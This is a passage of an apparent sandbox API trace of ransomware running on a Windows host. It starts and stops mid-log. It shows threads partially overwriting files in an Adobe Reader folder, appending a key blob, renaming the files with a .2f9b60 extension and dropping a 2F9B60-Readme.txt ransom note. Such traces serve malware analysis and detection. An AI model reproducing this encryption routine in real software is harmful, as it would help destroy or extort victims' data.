NtSetInformationFile (FileHandle=0x174c, IoStatusBlock=0x2773f718, FileInformation=0x2773f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0105.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5d30) returned 1 [0105.665] FlushFileBuffers (hFile=0x174c) returned 1 [0105.683] CloseHandle (hObject=0x174c) returned 1 [0105.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85f010 [0105.685] wcscpy (in: _Dest=0x1b85f010, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0105.685] wcscat (in: _Dest=0x1b85f010, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0105.685] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0xffffffff [0105.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1494 [0105.810] WriteFile (in: hFile=0x1494, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2773f5d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2773f5d0*=0xba9, lpOverlapped=0x0) returned 1 [0105.811] CloseHandle (hObject=0x1494) returned 1 [0106.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0106.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 Thread: id = 874 os_tid = 0x1450 [0101.057] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm")) returned 0x20 [0104.017] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm", dwFileAttributes=0x20) returned 1 [0104.841] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15ec [0104.841] GetFileSizeEx (in: hFile=0x15ec, lpFileSize=0x2639f8a0 | out: lpFileSize=0x2639f8a0*=17011) returned 1 [0104.841] SetFilePointerEx (in: hFile=0x15ec, liDistanceToMove=0x426f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.841] ReadFile (in: hFile=0x15ec, lpBuffer=0x2639f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2639f868, lpOverlapped=0x0 | out: lpBuffer=0x2639f820*, lpNumberOfBytesRead=0x2639f868*=0x4, lpOverlapped=0x0) returned 1 [0104.850] SetFilePointerEx (in: hFile=0x15ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0104.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ad0 [0104.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0104.850] NtQuerySystemTime (in: CurrentTime=0x2639f760 | out: CurrentTime=0x2639f760*=132462177103462000) returned 0x0 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x3a19edfd [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x69a241c6 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x2149926d [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x97fd700 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x3cdb64f8 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x339fc52a [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x5a8838fe [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x706bc5e9 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x120195cd [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x425da8a1 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x7f78e5d1 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x238799f1 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x348da020 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0xbf74585 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x283ad97a [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x74e6955 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x4e0abd7c [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x7256b72e [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x4dd0fa22 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x10b07a9c [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x469e3549 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0xa889c32 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x1baa7507 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x2955e788 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x5fd7d4bf [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x265631d1 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x1796a722 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x595b5441 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x5430613 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0xf76238b [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0x202da206 [0104.851] RtlRandomEx (in: Seed=0x2639f750 | out: Seed=0x2639f750) returned 0xe03c542 [0104.859] SetFilePointerEx (in: hFile=0x15ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.860] ReadFile (in: hFile=0x15ec, lpBuffer=0x41f22d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2639f7c0, lpOverlapped=0x0 | out: lpBuffer=0x41f22d00*, lpNumberOfBytesRead=0x2639f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.864] SetFilePointerEx (in: hFile=0x15ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0104.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0104.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594f0 [0104.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8594f0) returned 1 [0104.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f2a520 [0104.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594f0 [0104.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a7b0 [0104.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a7b0) returned 1 [0104.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0104.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0104.865] WriteFile (in: hFile=0x15ec, lpBuffer=0x41f2a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2639f7c0, lpOverlapped=0x0 | out: lpBuffer=0x41f2a520*, lpNumberOfBytesWritten=0x2639f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2a520) returned 1 [0128.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f22d00) returned 1 [0128.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced6d20 [0128.776] SetFilePointerEx (in: hFile=0x15ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.777] WriteFile (in: hFile=0x15ec, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2639f870, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2639f870*=0x106, lpOverlapped=0x0) returned 1 [0128.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0128.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867d40 [0128.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0128.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0128.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0128.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0128.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0128.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7650) returned 1 [0128.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0128.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0128.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9e930 [0128.780] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="d4") returned 2 [0128.780] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="94") returned 2 [0128.780] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="06") returned 2 [0128.780] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="24") returned 2 [0128.780] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="a9") returned 2 [0128.780] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="3b") returned 2 [0128.780] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="9e") returned 2 [0128.780] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="2b") returned 2 [0128.780] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="6b") returned 2 [0128.780] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="b1") returned 2 [0128.780] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="88") returned 2 [0128.780] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="49") returned 2 [0128.780] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="03") returned 2 [0128.781] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="3d") returned 2 [0128.781] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="59") returned 2 [0128.781] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="c8") returned 2 [0128.781] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="98") returned 2 [0128.781] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="75") returned 2 [0128.781] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="09") returned 2 [0128.781] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="aa") returned 2 [0128.781] RtlInitAnsiString (in: DestinationString=0x2639f8e8, SourceString="d4940624a93b9e2b6bb18849033d59c8987509aa" | out: DestinationString="d4940624a93b9e2b6bb18849033d59c8987509aa") [0128.781] RtlAnsiStringToUnicodeString (in: DestinationString=0x2639f8b8, SourceString="d4940624a93b9e2b6bb18849033d59c8987509aa", AllocateDestinationString=1 | out: DestinationString="d4940624a93b9e2b6bb18849033d59c8987509aa") returned 0x0 [0128.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c370 [0128.781] wcscat (in: _Dest=0x1b867d40, _Source="d4940624a9" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\d4940624a9") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\d4940624a9" [0128.781] wcscat (in: _Dest=0x1b867d40, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\d4940624a9.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\d4940624a9.2f9b60" [0128.781] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\d4940624a9.2f9b60", NtPathName=0x2639f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\d4940624a9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205c970 [0128.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0128.784] NtQueryInformationFile (in: FileHandle=0x15ec, IoStatusBlock=0x2639f8f8, FileInformation=0x2639f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2639f8f8, FileInformation=0x2639f908) returned 0x0 [0128.784] NtSetInformationFile (FileHandle=0x15ec, IoStatusBlock=0x2639f8f8, FileInformation=0x2639f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0128.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c370) returned 1 [0128.786] FlushFileBuffers (hFile=0x15ec) returned 1 [0128.788] CloseHandle (hObject=0x15ec) returned 1 [0128.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b867d40 [0128.790] wcscpy (in: _Dest=0x1b867d40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0128.790] wcscat (in: _Dest=0x1b867d40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0128.790] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0128.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0128.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864840) returned 1 Thread: id = 875 os_tid = 0x1454 [0101.059] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm")) returned 0x20 [0103.956] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm", dwFileAttributes=0x20) returned 1 [0104.654] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17c4 [0104.654] GetFileSizeEx (in: hFile=0x17c4, lpFileSize=0x25f6fb80 | out: lpFileSize=0x25f6fb80*=17078) returned 1 [0104.654] SetFilePointerEx (in: hFile=0x17c4, liDistanceToMove=0x42b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.654] ReadFile (in: hFile=0x17c4, lpBuffer=0x25f6fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25f6fb48, lpOverlapped=0x0 | out: lpBuffer=0x25f6fb00*, lpNumberOfBytesRead=0x25f6fb48*=0x4, lpOverlapped=0x0) returned 1 [0104.811] SetFilePointerEx (in: hFile=0x17c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6860 [0104.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a68f0 [0104.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a68c0 [0104.812] NtQuerySystemTime (in: CurrentTime=0x25f6fa40 | out: CurrentTime=0x25f6fa40*=132462177102994000) returned 0x0 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x4597d5b1 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x75aa4798 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x1e9cd0fb [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x7cd66a45 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x51455b52 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x2a08f76b [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x1e79af11 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x20ec0649 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x26ba4624 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x4c8de2e1 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x6c0374b0 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x3554d93 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x638461ce [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x7054f77d [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x2b2cf13c [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x73085435 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x6e8f45a6 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x13366e8d [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x6408c3c [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x39a6466c [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x85a8a8e [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x68cb0001 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x2409c6a0 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x4b968333 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x262c39d7 [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x564c98bf [0104.812] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x5cc2014 [0104.813] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x398721a6 [0104.813] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x513953a6 [0104.813] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x35bfdb55 [0104.813] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x315b439f [0104.813] RtlRandomEx (in: Seed=0x25f6fa30 | out: Seed=0x25f6fa30) returned 0x2badd980 [0104.821] SetFilePointerEx (in: hFile=0x17c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.821] ReadFile (in: hFile=0x17c4, lpBuffer=0x41f2e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25f6faa0, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesRead=0x25f6faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.849] SetFilePointerEx (in: hFile=0x17c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0104.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866fc0 [0104.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262810 [0104.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262810) returned 1 [0104.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f1f0f0 [0104.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262810 [0104.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0104.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b00) returned 1 [0104.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866fc0) returned 1 [0104.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0104.850] WriteFile (in: hFile=0x17c4, lpBuffer=0x41f1f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25f6faa0, lpOverlapped=0x0 | out: lpBuffer=0x41f1f0f0*, lpNumberOfBytesWritten=0x25f6faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0105.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1f0f0) returned 1 [0105.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0105.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a67a0 [0105.018] SetFilePointerEx (in: hFile=0x17c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0105.018] WriteFile (in: hFile=0x17c4, lpBuffer=0x4205a1d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x25f6fb50, lpOverlapped=0x0 | out: lpBuffer=0x4205a1d0*, lpNumberOfBytesWritten=0x25f6fb50*=0x10a, lpOverlapped=0x0) returned 1 [0105.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0105.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0105.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860090 [0105.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860090) returned 1 [0105.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0105.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860090 [0105.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600f0 [0105.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8600f0) returned 1 [0105.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0105.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0105.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0105.466] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="70") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="1b") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="d6") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="2a") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="57") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="78") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="6c") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="6c") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="0b") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="ce") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="69") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="4d") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="0d") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="63") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="45") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="f3") returned 2 [0105.466] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="86") returned 2 [0105.467] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="e8") returned 2 [0105.467] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="d4") returned 2 [0105.467] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="f7") returned 2 [0105.467] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="67") returned 2 [0105.467] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="62") returned 2 